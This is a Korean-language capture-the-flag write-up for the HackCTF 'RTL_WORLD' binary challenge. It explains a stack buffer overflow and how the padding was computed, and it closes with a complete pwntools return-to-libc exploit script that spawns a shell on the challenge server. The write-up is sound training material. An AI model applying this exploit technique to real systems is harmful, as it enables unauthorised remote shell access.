HackCTF RTL_WORLD Write-Up
동적 분석
파일을 다운로드 후 동적 분석을 시도하였으나 프로그램을 실행할 경우 어떠한 것도 출력되지 않고 Segmentation Fault가 발생하며 즉시 종료되었습니다. 이후 ghidra를 사용하여 decompile 내용을 확인한 결과 프로그램 실행에 필요한 libc.so.6
파일과 연관이 있을 것으로 추정되었습니다.
위에서 서술한 이유로 해당 문제는 nc를 통해 직접 접속하여 문제의 분석을 시도하였습니다. 문제에 접속하면 RPG 게임과 같이 여러 메뉴가 출력되었고, 해당 메뉴를 통해 어떠한 동작을 수행할 수 있었습니다.
NPC [Village Presient] :
Binary Boss made our village fall into disuse...
If you Have System Armor && Shell Sword.
You can kill the Binary Boss...
Help me Pwnable Hero... :(
Your Gold : 1000
======= Welcome to RTL World =======
1) Information the Binary Boss!
2) Make Money
3) Get the System Armor
4) Get the Shell Sword
5) Kill the Binary Boss!!!
6) Exit
====================================
>>>
NPC가 설명해준 내용을 해석하면 3, 4번 메뉴를 통해 'System Ammor'와 'Shell Sword'를 획득하여 5번 메뉴를 통해 'Binary Boss'를 처치해야 하는 것으로 볼 수 있었습니다.
이때 각각의 장비를 구매하고자 하였을 때 돈이 부족하다고 출력된 것을 보아 2번 메뉴를 이용하여 먼저 돈을 얻고 진행해야 함을 알 수 있었습니다.
1번 메뉴의 경우 쉽게 이해하자면 checksec의 결과를 출력해주는 것과 같았습니다.
정적 분석
동적 분석을 통해 금액을 만족할 경우 system 함수의 주소와 shell의 주소가 출력되는 것을 확인할 수 있었습니다. 따라서 ghidra를 사용하여 5번 메뉴를 통해 Boss를 잡는 방식에 대한 정보를 얻고자 시도하였습니다.
이 과정에서 각각의 장비를 구매하는데 필요한 정확한 금액에 대해서도 구할 수 있었습니다. 5번 메뉴의 경우 128 Byte의 배열에 read()
함수를 통해 1024 Byte만큼 입력을 받으므로 bof가 발생하였습니다.
이를 통해 "padding(128) + sfp(4) + system + dummy(4) + shell" 과 같은 형식으로 payload를 구성하였으나 exploit에 실패하였습니다. 보통의 경우 gdb를 통하여 $ebp-0x20
과 같은 내용을 통해 정확한 padding의 크기를 구할 수 있으나 해당 elf의 경우 mov esp, eax
와 같은 형식으로 push
명령을 대체하고 있었기에 해당 부분에서 어려움을 겪었습니다.
처음 프로그램이 실행될 당시 sub esp, 0xa0
을 통해 160 Byte의 공간을 확보하는 것과 ghidra에서 변수의 선언 순서를 통해 정확한 padding을 계산하였고 exploit에 성공하였습니다.
Exploit
#!/usr/bin/python3
from pwn import *
def EarnMoney():
p.sendlineafter(menu, "2")
p.sendlineafter(menu, "3")
p = remote("ctf.j0n9hyun.xyz", 3010)
padding = b"A"*144
menu = ">>> "
log.info("Program is Started...")
for i in range(8):
EarnMoney()
p.sendlineafter(menu, "3")
p.recvuntil(": ")
system = int(p.recvuntil("\n").decode('utf-8').strip("\n"), 16)
p.sendlineafter(menu, "4")
p.recvuntil(": ")
binsh = int(p.recvuntil("\n").decode('utf-8').strip("\n"), 16)
p.sendlineafter(menu, "5")
payload = padding
payload += p32(system)
payload += b"BBBB"
payload += p32(binsh)
p.sendlineafter("> ", payload)
log.info("system located: " + hex(system))
log.info("/bin/sh located: " + hex(binsh))
p.interactive()
Author And Source
이 문제에 관하여(HackCTF RTL_WORLD Write-Up), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://velog.io/@insp3ct0r_/HackCTF-RTLWORLD-Write-Up저자 귀속: 원작자 정보가 원작자 URL에 포함되어 있으며 저작권은 원작자 소유입니다.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)